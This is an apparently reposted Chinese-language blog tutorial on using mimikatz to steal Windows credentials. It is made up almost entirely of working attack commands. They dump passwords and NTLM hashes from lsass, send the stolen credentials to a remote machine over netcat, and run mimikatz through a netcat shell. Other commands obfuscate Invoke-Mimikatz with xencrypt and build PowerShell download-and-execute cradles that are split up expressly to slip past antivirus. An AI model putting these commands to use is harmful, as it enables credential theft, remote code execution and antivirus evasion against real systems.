1. 程式人生 > 實用技巧 >windows提權之mimikatz

windows提權之mimikatz

mimikatz

privilege::debug   #提權命令
sekurlsa::logonPasswords    #抓取密碼
winmine::infos  #掃雷作弊
lsadump::lsa /patch   #獲取當前此計算機存在過使用者的NTLMHASH

procdump64.exe -accepteula -ma lsass.exe lsass.dmp #匯出為lsass.dump檔案
sekurlsa::minidump lsass.dmp  #配合procdumo將李颯颯啊、程序記憶體檔案匯出到本地,並利用mimikatz進行密碼的讀取
sekurlsa::minidump logonPasswords full

配合使用:

將輸出傳輸到遠端機器:

nc -lvp 4444
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.114.136 4444

通過nc遠端執行Mimikatz:  

nc -lvp 443
nc.exe -vv 192.168.114.136 443 -e mimikatz.exe  

當無法抓取新密碼的時候:

privilege::debug
misc::memssp

其他功能:

system::user   #檢視當前登入的系統使用者
system::computer #返回當前的計算機名稱
ts::sessions   #顯示當前的會話
ts::processes windows-d.vm.nirvana.local   %顯示伺服器的程序和對應的pid情況等。
免殺

Get-ExecutionPolicy  #結果顯示restricted
Set-ExecutionPolicy Unrestricted  #開啟限制
Import-Module ./xencrypt.ps1   #加密invoke-mimikatz.ps1

Invoke-Xencrypt -InFile C:\Users\Dell\Desktop\工具集\一句話連線,菜刀冰蠍\xencrypt-master\Invoke-Mimikatz.ps1 -OutFile C:\Users\Dell\Desktop\工具集\一句話連線,菜刀冰蠍\xencrypt-master\xenmimi.ps1

usage:  
Import-Module .\xenmimi.ps1
Invoke-Mimikatz   


通過-Iterations標誌支援遞迴分層加密:
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

usage:

Import-Module .\xenmimi.ps1
Invoke-Mimikatz

遠端載入/Powershell免殺
powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz-DumpCreds"

此時360判斷為PowerShell下載攻擊並彈窗,360針對powershell的http協議下載查殺,但是檢查內容只是命令中出現http,所以只需要一步簡單的替換即可繞過('htxtp://is.gd/oeoFuI' -replace 'x','')。  

也可以簡單混淆:  

powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

#在Windows server 2008 及之前 可以使用此命令

powershell "IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://is.gd/oeoFuI' -replace 'x',''));Invoke-Mimikatz -DumpCreds"  

這樣就好了。

powershell載入exe進記憶體執行需要PowerSploit中的Invoke-ReflectivePEInjection指令碼。  

powershell.exe -exec bypass IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://suo.im/5FAjaC' -replace'x',''));Invoke-ReflectivePEInjection -PEUrlhttp://x.x.x.x/mimikatz.exe-ExeArgs"sekurlsa::logonpasswords" -ForceASLR

#Windows server 2009 及之後

powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/wv7uNQrc'); Invoke-Mimikatz" 
msf使用
在meterpreter中載入mimikatz模組
load mimikatz